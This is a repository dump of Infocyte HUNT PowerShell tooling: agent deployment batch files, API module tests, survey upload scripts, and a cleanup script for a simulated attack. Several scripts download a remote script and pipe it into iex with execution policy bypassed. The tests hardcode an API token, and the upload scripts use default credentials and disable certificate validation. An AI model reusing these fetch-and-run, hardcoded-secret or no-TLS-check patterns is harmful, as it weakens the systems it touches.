├── .gitignore ├── AgentDeployment ├── uninstall.bat ├── force_uninstall.ps1 ├── install_agent.bat ├── force_install_agent.bat ├── readme.md └── install_huntagent.ps1 ├── README.md ├── HUNT Powershell Module ├── tests │ ├── admin.test.ps1 │ ├── RunTests.ps1 │ ├── auth.test.ps1 │ ├── status.test.ps1 │ ├── extensions.test.ps1 │ ├── data.test.ps1 │ ├── requestHelpers.test.ps1 │ ├── targetgroupmgmt.test.ps1 │ └── scan.test.ps1 ├── scan_schedule.ps1 ├── reports.ps1 ├── README.md ├── admin.ps1 ├── InfocyteHUNTAPI.psm1 ├── InfocyteHUNTAPI.psd1 ├── auth.ps1 ├── status.ps1 └── rules.ps1 ├── AttackSim ├── attackscript_fullrestore.ps1 ├── readme.md └── attackscript.ps1 ├── Archive ├── offline_load_30.ps1 ├── On-Prem 3.0+ │ ├── OfflineLoad.ps1 │ ├── RestoreBackup.ps1 │ ├── RestoreDefaultLogin.ps1 │ ├── OfflineLoadBulk.ps1 │ └── Import-HuntICLZs.ps1 ├── manualscan │ ├── survey.bat │ ├── readme.md │ └── survey.ps1 └── Hunt-Survey-Submit.ps1 ├── RMMScripts ├── Combine_EDRRMMDeviceLists.ps1 └── rdptriage.ps1 ├── NetworkDiagnostics └── InfocyteNetworkTest.psd1 ├── Utilities └── Get-LockingProcs.ps1 └── LICENSE /.gitignore: -------------------------------------------------------------------------------- 1 | surveys/* 2 | test.ps1 3 | *.json 4 | -------------------------------------------------------------------------------- /AgentDeployment/uninstall.bat: -------------------------------------------------------------------------------- 1 | @echo Off 2 | C:\Program Files\Infocyte\Agent\agent.windows.exe --uninstall 3 | -------------------------------------------------------------------------------- /AgentDeployment/force_uninstall.ps1: -------------------------------------------------------------------------------- 1 | $script = try {(get-childitem "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"| where pschildname -eq "Infocyte HUNT Agent").GetValue('uninstallstring')} catch{(get-childitem "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\"| where pschildname -eq "Infocyte HUNT Agent").GetValue('uninstallstring')} finally{} 2 | "& $script"|iex -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PowershellTools 2 | Useful Powershell tools and modules for operating Infocyte HUNT. 3 | 4 | ## HUNT API Powershell Module 5 | 6 | Contains API wrappers for interfacing and controlling Infocyte in Powershell. Also has extension development/testing utilities. 7 | Open up a Powershell terminal and install the Infocyte HUNT API Powershell Module with this command: 8 | 9 | > PS> Install-Module -Name InfocyteHUNTAPI 10 | 11 | OR 12 | 13 | > PS> Update-Module -Name InfocyteHUNTAPI 14 | 15 | 16 | ## Agent Deployment 17 | 18 | To simplify deployment of Infocyte agents to windows boxes, there is a Powershell 1-liner that can be used to deploy and configure agents. Only requirement is Powershell 2.0 (Windows 7+ by default) and Admin rights. 19 | 20 | 21 | ## Network Diagnostic Script 22 | 23 | This function will help you test and troubleshoot network problems and remote execution problems for agentless scans. 24 | Open up a Powershell terminal and install the Infocyte network diagnostic with this command: 25 | 26 | > PS> Install-Module -Name InfocyteNetworkTest 27 | > PS> Test-ICNetworkAccess -Target 10.0.0.1 -Credential 28 | -------------------------------------------------------------------------------- /HUNT Powershell Module/tests/admin.test.ps1: -------------------------------------------------------------------------------- 1 | 2 | 3 | Describe "ICFlag" { 4 | 5 | BeforeAll { 6 | Get-ICFlag -where @{ name = $Testname } | Remove-ICFlag | Out-Null 7 | } 8 | AfterAll { 9 | Get-ICFlag -where @{ name = $Testname } | Remove-ICFlag | Out-Null 10 | } 11 | 12 | It "Gets a flag named 'Verified Good" { 13 | $r = Get-ICFlag -where @{ name = "Verified Good" } 14 | $r.color | Should -BeExactly "green" 15 | } 16 | 17 | It "Returns empty when it can't find a flag" { 18 | $r = Get-ICFlag -where @{ name = "fake" } 19 | $r | Should -Be $null 20 | } 21 | 22 | It "Creates a flag" { 23 | $r = New-ICFlag -Name $Testname -Color "blue" -Weight 5 24 | $r.id | Should -Not -Be $null 25 | } 26 | 27 | It "Throws if it tries to create an existing flag name" { 28 | { $r = New-ICFlag -Name $Testname -Color "blue" -Weight 5 } | Should -Throw 29 | $r.id | Should -Be $null 30 | } 31 | 32 | It "Updates a flag" { 33 | $r = Get-ICFlag -where @{ name = $Testname } 34 | $r.color | Should -BeExactly "blue" 35 | 36 | $r = Update-ICFlag -id $r.id -Color "green" 37 | $r.color | Should -BeExactly "green" 38 | } 39 | 40 | } 41 | -------------------------------------------------------------------------------- /AgentDeployment/install_agent.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | :: Install Infocyte Agent 3 | :: For use in a GPO Startup Script (Note: Logon script will not work as it operates with the user's non-admin permissions) 4 | :: Best Reference for steps: https://www.petri.com/run-startup-script-batch-file-with-administrative-privileges 5 | 6 | :: Change "instancename" to your cname 7 | :: Change "regkey" to your registration key made in the Infocyte HUNT admin panel (or leave blank if not using) 8 | 9 | set instancename=demo1 10 | set regkey= 11 | 12 | :: if download folder needs to be changed, uncomment the following and modify the path: 13 | set downloadpath= 14 | ::set downloadpath=-DownloadPath 'C:\windows\temp\agent.windows.exe' 15 | 16 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nologo -win 1 -executionpolicy bypass -nop -command "& { [System.Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072); (new-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Infocyte/PowershellTools/master/AgentDeployment/install_huntagent.ps1') | iex; installagent %instancename% %regkey% %downloadpath% }" 17 | 18 | :: for testing, you can add a -interactive to the installagent command. The end of the above command would look like this: 19 | :: ...installagent %instancename% %regkey% -interactive }" 20 | 21 | -------------------------------------------------------------------------------- /AttackSim/attackscript_fullrestore.ps1: -------------------------------------------------------------------------------- 1 | $attackDir = "$env:TEMP\AttackSim" 2 | 3 | Write-Host "Cleaning up persistence from the Attack Script..." 4 | Stop-Process -Name AttackSim* -Force -ErrorAction Ignore 5 | 6 | Write-Host "Removing Run Key Persistence - Calc.exe" 7 | REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Red Team" /f >nul 2>&1 8 | 9 | Write-Host "Removing Run Key Persistence - EICAR" 10 | Remove-Item "$AttackDir\EICAR.exe" -force -ErrorAction Ignore 11 | 12 | 13 | Write-Host "Removing RunOnce Key Persistence" 14 | Remove-ItemProperty -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce -Name "NextRun" -Force -ErrorAction Ignore 15 | 16 | Write-Host "Removing Startup Link Persistence - EICAR" 17 | Remove-Item "$attackDir\EICAR.exe" -Force -ErrorAction Ignore 18 | Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\evil_calc.lnk" -ErrorAction Ignore 19 | Remove-Item "$home\Desktop\evil_calc.lnk" -ErrorAction Ignore 20 | 21 | Write-Host "Removing Scheduled Task Persistence" 22 | schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1 23 | schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1 24 | 25 | Write-Host "Restarting Defender..." 26 | sc config WinDefend start= Auto >nul 2>&1 27 | sc start WinDefend >nul 2>&1 28 | Set-MpPreference -DisableRealtimeMonitoring $false 29 | 30 | Remove-Item -Path $attackDir -Recurse -force -ErrorAction Ignore -------------------------------------------------------------------------------- /HUNT Powershell Module/tests/RunTests.ps1: -------------------------------------------------------------------------------- 1 | 2 | #$ErrorActionPreference = 'Continue' 3 | #$ProgressPreference = 'SilentlyContinue' 4 | $GUID_REGEX = "^[A-Z0-9]{8}-([A-Z0-9]{4}-){3}[A-Z0-9]{12}$" 5 | 6 | Import-Module -Name Pester -Force -ErrorAction Stop 7 | Remove-Module -Name InfocyteHUNTAPI -Force -ErrorAction Ignore 8 | if (-Not $PSScriptRoot) { 9 | Import-Module $pwd\..\infocyteHUNTAPI.psd1 -Force -ErrorAction Stop 10 | } else { 11 | Import-Module $PSScriptRoot\..\infocyteHUNTAPI.psd1 -Force -ErrorAction Stop 12 | } 13 | 14 | 15 | # get default from static property$PesterPreference = [PesterConfiguration]::Default 16 | #$config = [PesterConfiguration]::Default 17 | #$config.CodeCoverage.Enabled = $true 18 | #$config.Output.Verbosity = "Normal" 19 | 20 | # Test configs 21 | $Testname = "PSTest" 22 | $Testhost = "dc1.pegasus.test" 23 | $TestInstance = "TestPanXSOAR" 24 | 25 | Write-Host "Running tests against Instance=$TestInstance, TestName=$Testname, Testhost=$Testhost" 26 | if (-NOT (Set-ICToken -Instance $testInstance)) { 27 | Throw "Could not connect to Test Instance: $testInstance" 28 | } 29 | 30 | get-childitem -filter *.test.ps1 | ForEach-Object { 31 | Invoke-Pester -Output Detailed -Path $_.FullName 32 | } 33 | 34 | #Invoke-Pester -Output Detailed -Path "C:\Users\cgerr\Documents\GitHub\PowershellTools\HUNT Powershell Module\tests\status.test.ps1" 35 | #Invoke-Pester -Output Detailed -Path "C:\Users\cgerr\Documents\GitHub\PowershellTools\HUNT Powershell Module\tests\admin.test.ps1" -------------------------------------------------------------------------------- /AgentDeployment/force_install_agent.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | :: Install Infocyte Agent 3 | :: For use in a GPO Startup Script (Note: Logon script will not work as it operates with the user's non-admin permissions) 4 | :: Best Reference for steps: https://www.petri.com/run-startup-script-batch-file-with-administrative-privileges 5 | 6 | :: Change "instancename" to your cname 7 | :: Change "regkey" to your registration key made in the Infocyte HUNT admin panel (or leave blank if not using) 8 | 9 | set instancename=demo1 10 | set regkey= 11 | 12 | :: Uninstall old agent first, if any. 13 | 14 | :: Attempt find uninstaller from registry and run it. 15 | %windir%\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle 1 -ExecutionPolicy bypass -NoProfile -Command "& { [System.Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072); (new-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Infocyte/PowershellTools/master/AgentDeployment/force_uninstall.ps1') | iex; }" 16 | 17 | 18 | :: Install agent with provided instance name and regkey (if any). 19 | %windir%\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle 1 -ExecutionPolicy bypass -NoProfile -Command "& { [System.Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072); (new-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Infocyte/PowershellTools/master/AgentDeployment/install_huntagent.ps1') | iex; installagent %instancename% %regkey% }" 20 | 21 | :: for testing, you can add a -interactive to the installagent command. The end of the above command would look like this: 22 | :: ...installagent %instancename% %regkey% -interactive }" 23 | -------------------------------------------------------------------------------- /Archive/offline_load_30.ps1: -------------------------------------------------------------------------------- 1 | # example script to upload a survey file to HUNT (3.0+) 2 | 3 | $url = "https://localhost" 4 | $survey = "HostSurvey.json.gz" 5 | $targetId = $null 6 | $scanId = $null 7 | $scanName = $null 8 | $targetName = "offline" 9 | $user = "infocyte" 10 | $password = "hunt" 11 | 12 | #ignore certificate root errors from self signed certs 13 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} 14 | 15 | $api = "$url/api" 16 | $surveyPath = "$PSScriptRoot\$survey" 17 | 18 | Write-Host "Acquiring token..." 19 | $login = @{ username=$user; password=$password } | ConvertTo-Json 20 | $response = Invoke-RestMethod -Uri "$api/users/login" -Method Post -Body $login -ContentType "application/json" 21 | $token = $response.id 22 | 23 | if ($targetId -eq $null) { 24 | Write-Host "Creating target..." 25 | $target = @{ name=$targetName } | ConvertTo-Json 26 | $response = Invoke-RestMethod -Headers @{ Authorization = $token } -Uri "$api/targets" -Method Post -Body $target -ContentType "application/json" 27 | $targetId = $response.id 28 | } 29 | 30 | if($scanName -eq $null) { 31 | $scanName = (get-date).toString("yyyy-MM-dd HH:mm") 32 | } 33 | 34 | if ($scanId -eq $null) { 35 | Write-Host "Creating scan..." 36 | $scan = @{ name=$scanName; targetId=$targetId; startedOn=(get-date).toString() } | ConvertTo-Json 37 | $response = Invoke-RestMethod -Headers @{ Authorization = $token } -Uri "$api/scans" -Method Post -Body $scan -ContentType "application/json" 38 | $scanId = $response.id 39 | } 40 | 41 | Write-Host "Uploading survey to scan $scanId..." 42 | Write-host $surveyPath 43 | 44 | Invoke-RestMethod -Headers @{ Authorization = $token; scanid = $scanId; filename = $survey } -Uri "$api/survey" -Method Post -InFile $surveyPath -ContentType "application/octet-stream" 45 | -------------------------------------------------------------------------------- /Archive/On-Prem 3.0+/OfflineLoad.ps1: -------------------------------------------------------------------------------- 1 | # example script to upload a survey file to HUNT (3.0+) 2 | 3 | $url = "https://localhost" 4 | $survey = "HostSurvey.json.gz" 5 | $targetId = $null 6 | $scanId = $null 7 | $scanName = $null 8 | $targetName = "offline" 9 | $user = "infocyte" 10 | $password = "hunt" 11 | 12 | #ignore certificate root errors from self signed certs 13 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} 14 | 15 | $api = "$url/api" 16 | $surveyPath = "$PSScriptRoot\$survey" 17 | 18 | Write-Host "Acquiring token..." 19 | $login = @{ username=$user; password=$password } | ConvertTo-Json 20 | $response = Invoke-RestMethod -Uri "$api/users/login" -Method Post -Body $login -ContentType "application/json" 21 | $token = $response.id 22 | 23 | if ($targetId -eq $null) { 24 | Write-Host "Creating target..." 25 | $target = @{ name=$targetName } | ConvertTo-Json 26 | $response = Invoke-RestMethod -Headers @{ Authorization = $token } -Uri "$api/targets" -Method Post -Body $target -ContentType "application/json" 27 | $targetId = $response.id 28 | } 29 | 30 | if($scanName -eq $null) { 31 | $scanName = (get-date).toString("yyyy-MM-dd HH:mm") 32 | } 33 | 34 | if ($scanId -eq $null) { 35 | Write-Host "Creating scan..." 36 | $scan = @{ name=$scanName; targetId=$targetId; startedOn=(get-date).toString() } | ConvertTo-Json 37 | $response = Invoke-RestMethod -Headers @{ Authorization = $token } -Uri "$api/scans" -Method Post -Body $scan -ContentType "application/json" 38 | $scanId = $response.id 39 | } 40 | 41 | Write-Host "Uploading survey to scan $scanId..." 42 | Write-host $surveyPath 43 | 44 | Invoke-RestMethod -Headers @{ Authorization = $token; scanid = $scanId; filename = $survey } -Uri "$api/survey" -Method Post -InFile $surveyPath -ContentType "application/octet-stream" 45 | -------------------------------------------------------------------------------- /Archive/manualscan/survey.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | :: Run manual scan and upload results to hunt instance from the surveyed host 3 | :: Can use manually, in a schedule task (SYSTEM level), or GPO Startup Script (Note: Logon script will not work as it operates with the user's non-admin permissions) 4 | :: Best Reference for steps: https://www.petri.com/run-startup-script-batch-file-with-administrative-privileges 5 | 6 | 7 | ::FROM Powershell.exe: 8 | ::C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nologo -win 1 -executionpolicy bypass -nop -command { [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (new-objectNet.WebClient).DownloadString("https://raw.githubusercontent.com/Infocyte/PowershellTools/master/manualscan/survey.ps1") | iex; survey -instancename -apikey } 9 | :: Change "" to your cname 10 | :: Change "" to your registration key made in the Infocyte HUNT admin panel (or leave blank if not using) 11 | 12 | ::FROM BATCH (cmd.exe) you need to escape the pipe (|): 13 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nologo -win 1 -executionpolicy bypass -nop -command { [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (new-objectNet.WebClient).DownloadString("https://raw.githubusercontent.com/Infocyte/PowershellTools/master/manualscan/survey.ps1") ^| iex; survey -instancename -apikey } 14 | 15 | :: You can also download the script and run it manually or in a scheduled task 16 | :: 17 | ::C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nologo -win 1 -executionpolicy bypass -nop -command { get-content "C:\\survey.ps1" | iex; survey -instancename -apikey } 18 | :: Change "" with where you saves the .ps1 script 19 | -------------------------------------------------------------------------------- /HUNT Powershell Module/tests/auth.test.ps1: -------------------------------------------------------------------------------- 1 | 2 | 3 | Describe "Set-ICToken" { 4 | BeforeAll { 5 | move-item "C:\Users\cgerr\AppData\Roaming\infocyte\credentials.json" -Destination "C:\Users\cgerr\AppData\Roaming\infocyte\credentials.json.bck" 6 | } 7 | AfterAll { 8 | move-item "C:\Users\cgerr\AppData\Roaming\infocyte\credentials.json.bck" -Destination "C:\Users\cgerr\AppData\Roaming\infocyte\credentials.json" -Force 9 | } 10 | 11 | It "Connects to instance" { 12 | $result = Set-ICToken -Instance testchris2644 -Token "5VNDcdevqEz6GHYpUOfyDpLdHajT56nPdcmwhBlHyD5IcCZo2ydedMuUiFp32R00" 13 | $result | Should -Be $true 14 | } 15 | 16 | It "Defines a single BoxId" { 17 | $Global:ICCurrentBox | Should -Match $GUID_REGEX 18 | $Global:ICCurrentBox.Count | Should -BeExactly 1 19 | } 20 | 21 | It "Throws error on failure to connect to non-existant instance" { 22 | $err = { Set-ICToken -Instance "fakechris2644" -Token "5VNDcdevqEz6GHYpUOfyDpLdHajT56nPdcmwhBlHyD5IcCZo2ydedMuUiFp32R00" } | Should -Throw -PassThru 23 | $err.Exception.GetType().Name | Should -BeIn @("WebException","HttpResponseException") # HttpResponseException = PSCore 24 | } 25 | 26 | It "Saves token to credentials.json" { 27 | $result = Set-ICToken -Instance "testchris2644" -Token "5VNDcdevqEz6GHYpUOfyDpLdHajT56nPdcmwhBlHyD5IcCZo2ydedMuUiFp32R00" -Save 28 | $result | Should -Be $true 29 | "C:\Users\cgerr\AppData\Roaming\infocyte\credentials.json" | Should -Exist 30 | $result = select-string -Path C:\Users\cgerr\AppData\Roaming\infocyte\credentials.json -Pattern "testchris2644" 31 | $result | Should -BeLike "*testchris2644*" 32 | } 33 | 34 | It "Pulls token from credentials.json" { 35 | $result = Set-ICToken -Instance "testchris2644" 36 | $result | Should -Be $true 37 | } 38 | } 39 | 40 | -------------------------------------------------------------------------------- /Archive/Hunt-Survey-Submit.ps1: -------------------------------------------------------------------------------- 1 | # example script to upload a survey file to HUNT (2.10+) 2 | 3 | $url = "https://localhost" 4 | $survey = "HostSurvey.json.gz" 5 | $targetId = $null 6 | $scanId = $null 7 | $scanName = $null 8 | $targetName = "offline" 9 | $user = "infocyte" 10 | $password = "hunt" 11 | 12 | #ignore certificate root errors from self signed certs 13 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} 14 | 15 | $api = "$url/api" 16 | $surveyPath = "$PSScriptRoot\$survey" 17 | 18 | Write-Host "Acquiring token..." 19 | $login = @{ username=$user; password=$password } | ConvertTo-Json 20 | $response = Invoke-RestMethod -Uri "$api/users/login" -Method Post -Body $login -ContentType "application/json" 21 | $token = $response.id 22 | 23 | if ($targetId -eq $null) { 24 | Write-Host "Creating target..." 25 | $target = @{ name=$targetName } | ConvertTo-Json 26 | $response = Invoke-RestMethod -Headers @{ Authorization = $token } -Uri "$api/targets" -Method Post -Body $target -ContentType "application/json" 27 | $targetId = $response.id 28 | } 29 | 30 | if($scanName -eq $null) { 31 | $scanName = (get-date).toString("yyyy-MM-dd HH:mm") 32 | } 33 | 34 | if ($scanId -eq $null) { 35 | Write-Host "Creating scan..." 36 | $scan = @{ name=$scanName; targetId=$targetId } | ConvertTo-Json 37 | $response = Invoke-RestMethod -Headers @{ Authorization = $token } -Uri "$api/scans" -Method Post -Body $scan -ContentType "application/json" 38 | $scanId = $response.id 39 | } 40 | 41 | Write-Host "Uploading survey..." 42 | Invoke-RestMethod -Headers @{ Authorization = $token; scanid = $scanId } -Uri "$api/survey" -Method Post -InFile $surveyPath -ContentType "application/octet-stream" 43 | 44 | # TODO: detect when scan is no longer processing submissions, then mark as completed 45 | 46 | #Write-Host "Closing scan..." 47 | #Invoke-RestMethod -Headers @{ Authorization = $token } -Uri "$api/scans/$scanId/complete" -Method Post 48 | -------------------------------------------------------------------------------- /HUNT Powershell Module/tests/status.test.ps1: -------------------------------------------------------------------------------- 1 | 2 | 3 | Describe "Get-ICJob" { 4 | 5 | It "It gets Jobs" { 6 | $r = Get-ICJob -All 7 | $r | Should -Not -Be $null 8 | $r[0].id | Should -Match $GUID_REGEX 9 | } 10 | 11 | } 12 | 13 | Describe "Get-ICAuditLog" { 14 | 15 | It "It gets audit logs" { 16 | $r = Get-ICAuditLog 17 | $r | Should -Not -Be $null 18 | $r[0].id | Should -Match $GUID_REGEX 19 | } 20 | 21 | } 22 | 23 | Describe "Get-ICTask" { 24 | 25 | It "It gets Tasks" { 26 | $r = Get-ICTask 27 | $r | Should -Not -Be $null 28 | $r[0].id | Should -Match $GUID_REGEX 29 | 30 | $r2 = $r[0] | Get-ICTask 31 | $r2 | Should -Not -Be $null 32 | $r2[0].id | Should -Match $GUID_REGEX 33 | } 34 | 35 | } 36 | 37 | Describe "Get-ICLastScanTask" { 38 | BeforeAll { 39 | $task = Get-ICTask -where @{ type = "Scan" } | Select -Last 1 40 | } 41 | 42 | It "It gets the last enumerate task" { 43 | $r = Get-ICLastScanTask -type "Enumerate" 44 | $r.type | Should -Be "Enumerate" 45 | $r[0].userTaskId | Should -Match $GUID_REGEX 46 | ([array]$r).count | Should -BeExactly 1 47 | } 48 | 49 | It "It gets the last scan task" { 50 | $r = Get-ICLastScanTask -type "Scan" 51 | $r.type | Should -Be "Scan" 52 | $r[0].userTaskId | Should -Match $GUID_REGEX 53 | ([array]$r).count | Should -BeExactly 1 54 | 55 | $r = Get-ICTargetGroup -targetGroupId $task.relatedId 56 | $r.controllerGroupId | Should -Match $GUID_REGEX 57 | } 58 | 59 | } 60 | 61 | Describe "Get-ICTaskItems" { 62 | BeforeAll { 63 | $task = Get-ICTask -where @{ type = "Scan"} | Select -Last 1 64 | } 65 | 66 | It "It gets TaskItems" { 67 | $r = Get-ICTaskItems -usertaskId $task.Id 68 | $r[0].userTaskId | Should -Match $GUID_REGEX 69 | 70 | $r2 = $task.Id | Get-ICTaskItems 71 | $r2[0].userTaskId | Should -Match $GUID_REGEX 72 | } 73 | 74 | } -------------------------------------------------------------------------------- /Archive/On-Prem 3.0+/RestoreBackup.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | 4 | Purges the Infocyte database and restores from a backup. 5 | 6 | Project: Infocyte HUNT 7 | Author: Infocyte, Inc. 8 | License: Apache License 2.0 9 | Required Dependencies: Infocyte HUNT 10 | Optional Dependencies: None 11 | 12 | 13 | .PARAMETER Path 14 | 15 | Path to backup .sql file. Backups are gunzipped, recommend using 7zip to uncompress the backup first 16 | #> 17 | 18 | Param( 19 | [Parameter( Position = 0, 20 | Mandatory = $true)] 21 | [ValidateScript({ 22 | if ($_ -match "\.sql$") { 23 | if (Test-Path $_) { 24 | return $True 25 | } else { 26 | Write-Warning "Path does not exist" 27 | Throw "ERROR: Path does not exist" 28 | } 29 | } 30 | elseif ($_ -match "\.sql\.gz$") { 31 | Write-Warning "$_ is not in sql format, unzip it using 7zip first" 32 | Throw "$_ is not in sql format, unzip it using 7zip first" 33 | } 34 | else { 35 | Write-Warning "$_ is not an sql file" 36 | Throw "$_ is not an sql file" 37 | } 38 | })] 39 | [String]$Path # 40 | ) 41 | 42 | Write-Warning "WARNING: This script will overwrite any existing data within Infocyte." 43 | 44 | $psql = "C:\Program Files\Infocyte\Dependencies\Postgresql\bin\psql.exe" 45 | <# 46 | $creds = Get-Credential "postgres" 47 | $username = $creds.Username 48 | $env:PGPASSWORD = $creds.GetNetworkCredential().Password 49 | #> 50 | # Grab postgres password from config file 51 | $PGConfig = (gc "C:\Program Files\Infocyte\Hunt-UI-Server\server\datasources.json" | ConvertFrom-Json).db 52 | $username = "postgres" 53 | $env:PGPASSWORD = $PGConfig.password 54 | $database = $PGConfig.database 55 | 56 | 57 | &$psql -U $username -c "SELECT pg_terminate_backend( pid ) FROM pg_stat_activity WHERE pid <> pg_backend_pid() AND datname = 'pulse'" 58 | Write-Verbose "Dropping the pulse database in Infocyte" 59 | &$psql -U $username -c "DROP DATABASE pulse" 60 | Write-Verbose "Creating the pulse database in Infocyte" 61 | &$psql -U $username -c "CREATE DATABASE pulse" 62 | Write-Verbose "Restoring from backup: $Path" 63 | &$psql -U $username -d pulse -f $Path 64 | 65 | -------------------------------------------------------------------------------- /HUNT Powershell Module/tests/extensions.test.ps1: -------------------------------------------------------------------------------- 1 | 2 | Describe "ICExtensions" { 3 | AfterAll { 4 | Get-ICExtension -where @{ name = $testname } | Remove-ICExtension 5 | } 6 | 7 | Describe "New-ICExtension" { 8 | BeforeAll { 9 | Remove-Item .\testextension.lua -Force -ErrorAction Ignore | Out-Null 10 | } 11 | 12 | AfterAll { 13 | Remove-Item .\testextension.lua -Force -ErrorAction Stop 14 | } 15 | 16 | It "Creates an extension" { 17 | $r = New-ICExtension -Name $testname -Type Collection 18 | $r | Should -Not -Be $null 19 | 20 | $r = New-ICExtension -Name $testname -Type Collection -SavePath ".\testextension.lua" 21 | $r | Should -Be $true 22 | Resolve-Path ".\testextension.lua" | Should -Exist 23 | 24 | } 25 | 26 | It "Imports an extension" { 27 | $r = Import-ICExtension -Path .\testextension.lua -Active:$false 28 | $r | Should -Not -Be $null 29 | 30 | } 31 | 32 | } 33 | 34 | Describe "Get-Extension" { 35 | 36 | It "Gets an extension" { 37 | $r = Get-ICExtension -where @{ name = $testname } 38 | $r | Should -Not -Be $null 39 | } 40 | 41 | } 42 | 43 | Describe "Update-ICExtension" { 44 | BeforeAll { 45 | $ext = Get-ICExtension -where @{ name = $testname } -IncludeBody | select -first 1 46 | } 47 | AfterAll { 48 | Remove-Item .\testextension.lua -Force -ErrorAction Ignore 49 | Get-ICExtension -where @{ name = $testname } | Remove-ICExtension 50 | } 51 | 52 | It "Updates an extension" { 53 | $r = Update-ICExtension -id $ext.id -body $ext.body 54 | $r.updatedBy | Should -Not -Be $null 55 | } 56 | } 57 | 58 | Describe "Import-ICOfficialExtensions" { 59 | BeforeAll { 60 | $ProgressPreference = 'SilentlyContinue' 61 | } 62 | 63 | It "Imports all the official extensions" { 64 | $r = Import-ICOfficialExtensions 65 | $r = Get-ICExtension 66 | $r.count | Should -GE 12 67 | } 68 | 69 | 70 | } 71 | 72 | } 73 | 74 | -------------------------------------------------------------------------------- /Archive/manualscan/readme.md: -------------------------------------------------------------------------------- 1 | ## Infocyte HUNT Client-side Initiated Survey 2 | **Platform:** Windows 3 | **Powershell Version:** 3.0+ 4 | **.NET Version:** 4.5+ 5 | 6 | The following command or script will initiate a survey of a sytem. Run it on any windows system and it will download the survey, execute it, and upload the results to your HUNT instance for processing. 7 | 8 | IMPORTANT: You DO NOT need to download this script. You can leave it here unless you want to host it yourself or run it locally as part of a scheduled task. 9 | 10 | To execute this script as a one liner on a windows host with powershell 3.0+, run this command replacing `instancecname` and `apikey` with your hunt instance and API key. NOTE: Instance name is your cname from the URL, not the FULL url https://instancecname.infocyte.com). This script will append the rest of the url for you. 11 | 12 | ```[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Infocyte/PowershellTools/master/manualscan/survey.ps1") | iex; survey instancecname apikey``` 13 | 14 | The arguments are after the command *installagent*: 15 | **1st Arg [Manadatory]:** `instancecname` 16 | **2nd Arg [Mandatory]:** `apikey` 17 | 18 | Examples: 19 | ```[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Infocyte/PowershellTools/master/manualscan/survey.ps1") | iex; survey myhuntinstance asdfasdf``` 20 | 21 | If running command from cmd.exe or batch scripts, you will need to escape the pipe (|) with ^ like this: 22 | ```C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nologo -win 1 -executionpolicy bypass -nop -command { [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Infocyte/PowershellTools/master/manualscan/survey.ps1") ^| iex; survey instancecname apikey }``` 23 | 24 | 25 | If you want to troubleshoot or check out what is happening, run in interactive mode or check the log file: 26 | Add `-Interactive` to the end of the command. 27 | 28 | Log can be read here: 29 | Get-Content "$($env:TEMP)\s1_deploy.log" 30 | 31 | --- 32 | 33 | -------------------------------------------------------------------------------- /RMMScripts/Combine_EDRRMMDeviceLists.ps1: -------------------------------------------------------------------------------- 1 | Write-Host -ForegroundColor Cyan Use this procedure to get a list of devices that are online in RMM but offline in EDR 2 | Write-Host -ForegroundColor Cyan Step 1: Export CSV from RMM Device List 3 | Write-Host -ForegroundColor Cyan Step 2: Export CSV from EDR Device List 4 | Write-Host -ForegroundColor Cyan step 3: Specify the paths below to those downloaded CSVs 5 | Write-Host -ForegroundColor Cyan Step 4: Run Comamand: Combine-RMMEDRDeviceLists 6 | Write-Host -ForegroundColor Cyan @' 7 | Example: 8 | . .\Combine_EDRRMMDeviceLists.ps1 9 | Combine-RMMEDRDeviceLists -RMMDeviceListCSV "~\Downloads\Devices.csv" -EDRDeviceListCSV "~\Downloads\DeviceDetail.csv" -exportPath "~\Downloads\devices_combined.csv" 10 | '@ 11 | 12 | # CODE ------- 13 | function Combine-RMMEDRDeviceLists { 14 | Param( 15 | [String]$RMMDeviceListCSV = "~\Downloads\Devices.csv", # Default 16 | [String]$EDRDeviceListCSV = "~\Downloads\DeviceDetail (1).csv", # Default 17 | [String]$exportPath = "~\Downloads\devices_combined.csv" # Default 18 | ) 19 | 20 | $RMMDeviceList = Import-CSV $RMMDeviceListCSV | Where { $_.status -eq "Online" } 21 | $EDRDeviceList = Import-CSV $EDRDeviceListCSV | where { $_.status -ne "Active" } 22 | 23 | $NewList = @() 24 | 